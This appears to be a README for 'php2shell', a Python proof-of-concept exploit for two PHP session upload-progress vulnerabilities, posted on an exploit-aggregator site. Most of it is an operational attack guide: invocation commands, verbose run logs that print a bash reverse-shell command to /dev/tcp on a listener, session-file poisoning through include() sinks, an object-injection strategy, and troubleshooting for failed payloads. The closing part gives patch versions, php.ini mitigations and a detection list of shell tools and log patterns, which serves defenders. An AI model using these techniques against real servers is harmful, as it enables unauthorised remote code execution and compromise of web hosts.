Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 21, 2026

| **CVE-2026-109618** | RCE via OOM corruption | An out-of-memory condition can interrupt PHP while internal request data is only partially initialised. Request cleanup may then treat the invalid data as valid. |

| **CVE-2026-109619** | RCE via stale global state | Request-owned internal state can survive after its backing memory has been freed. A later request handled by the same worker may use that stale state before normal initialisation resets it. |

* **Affected:** PHP 5.4.0 → 8.5.x (the session upload-progress vector only

exists from 5.4.0). PHP 8.1 and older are EOL and will **never** be

* **Fixed in:** 8.5.12, 8.4.27, 8.3.36, 8.2.35.

* **Exploited in the wild** since 2026-10-21, mostly through the session

The reachable surface is the session upload-progress handler in

`ext/session/session.c`, which has three independent problems:

1. **Session fixation (pre-auth).** `MULTIPART_EVENT_FORMDATA` copies the

POST-body field named `PHPSESSID` into the progress session id **without

checking `session.use_only_cookies`**. The attacker therefore chooses the

session id — and hence the on-disk session file name.

2. **Unvalidated file name.** `MULTIPART_EVENT_FILE_START` stores the *raw*

uploaded file name into the session data, with no sanitisation at all.

3. **Attacker-controlled session content.** The POST-body field named

`PHP_SESSION_UPLOAD_PROGRESS` becomes the session key

Because the progress data is serialised into the attacker's *own* session

file, and PHP's session serialiser is not a sandbox, the attacker fully

controls the **content** of a file whose name is **fully predictable**:

Requirements: **Python 3.8+**, standard library only. No dependency, no

git clone

cd php2shell-CVE-2026-109618-CVE-2026-109619

python3 php2shell.py -l 10.0.0.5 -p 4444

python3 php2shell.py -c 'id'

The PoC prints what it did; the shell lands on your listener.

### Example 1 — reverse shell, everything auto-detected

$ python3 php2shell.py -l 127.0.0.1 -p 4444 -v

php2shell - CVE-2026-109618 / CVE-2026-109619 (pre-auth RCE)

[*] target :

[*] session : u9bavj3i070qhddg8vfptmhluj

[*] command : bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' /dev/null 2>&1 &

[*] probe /sink.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] probe /index.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] probe / -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] no --sink given, probing for an include() sink ...

[+] found sink: /sink.php?page= (session file /tmp/sess_u9bavj3i070qhddg8vfptmhluj)

[*] poisoned session (attempt 1) HTTP 200

[*] trigger via /sink.php?page=/tmp/sess_u9bavj3i070qhddg8vfptmhluj -> HTTP 200 (712 bytes)

bash: impossible de régler le groupe de processus du terminal (183758): Ioctl() inapproprié

bash: pas de contrôle de tâche dans ce shell

### Example 2 — explicit sink and session path

When the automatic probe cannot find the inclusion sink (the app uses an

unusual parameter name, or the session directory is unusual):

$ python3 php2shell.py -l 10.0.0.5 -p 4444 \

--sink '/index.php?page=' --save-path /var/lib/php/sessions -v

[*] session : 4kahwb10zswy6byfbt90yt4fbd

[*] command : bash -c 'exec bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' /dev/null 2>&1 &

[*] probe /index.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] using sink /index.php?page= session file /var/lib/php/sessions/sess_4kahwb10zswy6byfbt90yt4fbd

[*] poisoned session (attempt 1) HTTP 200

[*] trigger via /index.php?page=/var/lib/php/sessions/sess_4kahwb10zswy6byfbt90yt4fbd -> HTTP 200 (712 bytes)

$ python3 php2shell.py -c 'id' -v

[*] target :

[*] session : hk7uurfl0cs6prwzia0yomh1cp

[*] probe /sink.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] no --sink given, probing for an include() sink ...

[+] found sink: /sink.php?page= (session file /tmp/sess_hk7uurfl0cs6prwzia0yomh1cp)

[*] poisoned session (attempt 1) HTTP 200

[*] trigger via /sink.php?page=/tmp/sess_hk7uurfl0cs6prwzia0yomh1cp -> HTTP 200 (712 bytes)

### Example 4 — serialiser handler mismatch (no LFI needed)

$ python3 php2shell.py \

--write-path /app/upload.php --read-path /api/endpoint.php -c 'id' -v

[*] target :

[*] session : e4s92uz81cj9egobc29edsgmsg

[*] probe /app/upload.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] strategy 2: write /app/upload.php / read /api/endpoint.php

### Example 5 — target in maintenance mode

The PoC refuses to fire against a target that never reaches PHP, and says

so explicitly instead of failing silently:

$ python3 php2shell.py -c whoami -v

[*] target :

[*] session : 5kxhklckgsco15mhtowudiqc21

[*] probe /index.php -> HTTP 500 nginx

[*] probe / -> HTTP 200 nginx

[*] probe /index.html -> HTTP 200 nginx

[*] probe /app.php -> HTTP 500 nginx

[*] probe /form.php -> HTTP 500 nginx

[*] probe /upload.php -> HTTP 500 nginx

Every candidate path either errored out (HTTP 5xx) or was

served by the web server without ever reaching a PHP

interpreter (no X-Powered-By, no PHP fingerprint).

The application is very likely in maintenance mode or behind

a broken vhost, so there is no session module to attack

right now. Retry when the site is back online.

The multipart parser hands every `name="PHPSESSID"` field to the session

module's progress callback, which stores it as the progress session id

**without** honouring `session.use_only_cookies`:

/* ext/session/session.c, MULTIPART_EVENT_FORMDATA */

memcmp(data->name, PS(session_name), name_len) == 0) {

ZVAL_STRINGL(&progress->sid, (*data->value), value_len);

Content-Type: multipart/form-data; boundary=X

Content-Disposition: form-data; name="PHPSESSID"

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

The attacker now knows the exact server-side path of their session file:

### Step 2 — writing attacker content into the session file

The `PHP_SESSION_UPLOAD_PROGRESS` value becomes the session key

`upload_progress_`, and the session serialiser writes it verbatim.

upload_progress_|a:5:{s:10:"start_time";i:1792596599;...}

The payload is base64-encoded so it can carry **any** command without

tripping the session serialiser's `|` and newline restrictions.

If the application includes the session file (an `include()`/`require()`

sink), the embedded `` block executes. The command's own output

The PoC auto-detects this by poisoning a session with a harmless marker

and looking for the marker in the response, trying the common parameter

names (`page`, `file`, `path`, `doc`, `include`, `view`, `lang`, …) against

the common save paths (`/tmp`, `/var/lib/php/sessions`, …).

### Strategy 1 — session file poisoning + inclusion sink

The most general approach: works against any target with an

`include()`/`require()` sink that can be pointed at a session file, and

needs **no knowledge of the target's PHP build**.

* `session.upload_progress.enabled = On` (PHP default)

* `session.upload_progress.cleanup = Off` — so the poisoned entry is not

deleted at the end of the upload (**PHP's default is `On`**, so this has

* an `include()`/`require()` sink reachable with a user-controlled path

### Strategy 2 — serialiser handler mismatch → object injection

If two directories use different `session.serialize_handler` values, a

session written as `php_serialize` and read back with the `php` handler is

re-parsed as a `key|value` stream. A file name containing `|` shifts the

parse so that attacker bytes get deserialised as a serialized object, whose

`__destruct` runs during cleanup — **even though the decode returns

FAILURE**, because `__destruct` fires on both the success and the failure

* two reachable directories with different `session.serialize_handler`

* a class with a useful `__destruct` that is autoloadable on the target

-l, --lhost reverse shell listener address

-p, --lport reverse shell listener port (default 4444)

-c, --cmd command to execute instead of a reverse shell

--sid session id to use (default: random)

--session-name PHP session name (default: auto-detected, usually

--fix-by how the chosen session id is sent: "body" (the CVE

route, default) or "cookie" (the early_find_sid route)

--save-path server-side session save path

--sink inclusion sink URL, e.g. '/index.php?page='

--write-path php_serialize directory (strategy 2)

--read-path php directory (strategy 2)

--gadget serialized object injected by strategy 2

--all try every strategy (default behaviour)

--no-banner do not print the watermelon banner

--timeout per-request timeout in seconds (default 30)

`` in `--sink` is replaced by the discovered

* an unpatched PHP: **' --save-path /var/lib/php/sessions

`--save-path` is the server-side `session.save_path`; the session file is

**The payload is delivered but nothing happens**

`system()`, `exec()`, `passthru()`, `shell_exec()` and `proc_open()` are

frequently disabled with `disable_functions`. Check the target's

configuration; if the shell functions are gone, use another execution

**`Session cookie cannot be sent after headers have already been sent`**

The target emits output (or a warning) before the session code runs. This

Update PHP to **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35**, or to your vendor's

backport. Until then, per the official advisory:

; CVE-2026-109619 - blocks the confirmed session paths.

; Set it before request parsing (php.ini, FPM pool or server config)

; and RESTART every worker. ini_set() and .user.ini are not enough.

; CVE-2026-109618 - removes the controllable memory-limit failure.

; Use php_admin_value in the FPM pool or the Apache configuration so

; Keep the request small; lower it if the app does not need uploads.

post_max_size = 8M ; 32M if file uploads are required

session.serialize_handler = php_serialize ; consistently, everywhere

disable_functions = exec,passthru,shell_exec,system,proc_open,popen

Also: use a container or cgroup limit as an availability boundary (a

policy that kills only the affected worker), and do not use `RLIMIT_AS` or

`RLIMIT_DATA` as a substitute — they can also reach the vulnerable

Alert when a PHP worker process spawns a child it should never spawn:

* `php-fpm`, `php-cgi`, `lsphp`, `httpd`, `apache2`

* children: `/bin/sh`, `/bin/bash`, `cmd.exe`, `powershell.exe`, `python`,

`perl`, `curl`, `wget`, `nc`, `certutil.exe`

* command lines containing `/dev/tcp/`, `fsockopen`, `mkfifo`

* immediate reconnaissance: `whoami`, `id`, `uname -a`, `ipconfig`

* grep the web access logs for `PHP_SESSION_UPLOAD_PROGRESS`

* look for session files containing `upload_progress_` followed by `<?php`

* watch for new files in the web root, `/tmp`, `/var/tmp`, new cron jobs

Florian Roth's [process-watcher](

is a good free tool for the process-spawn side.

* `GHSA-w8hw-w9fx-j79w` (CVE-2026-109618)

* `GHSA-6wmf-4rv5-p3rp` (CVE-2026-109619)

* [watchTowr — PHP CVE-2026-109618 FAQ](

* [sansec — PHP2Shell research](

* [Hadrian — php2shell exploited in the wild](

* [CERT-EU advisory 2026-018](

* [PHP session upload-progress internals](

* [PHP multipart parser](

php2shell.py the PoC (stdlib only, Python 3.8+)

The banner artwork is embedded in `php2shell.py`, so the PoC is a single

self-contained file: copy it anywhere and it still works.

For **authorised security testing and education only**. Use only against

systems you own or have explicit written permission to test. The authors

accept no liability for any misuse of this tool.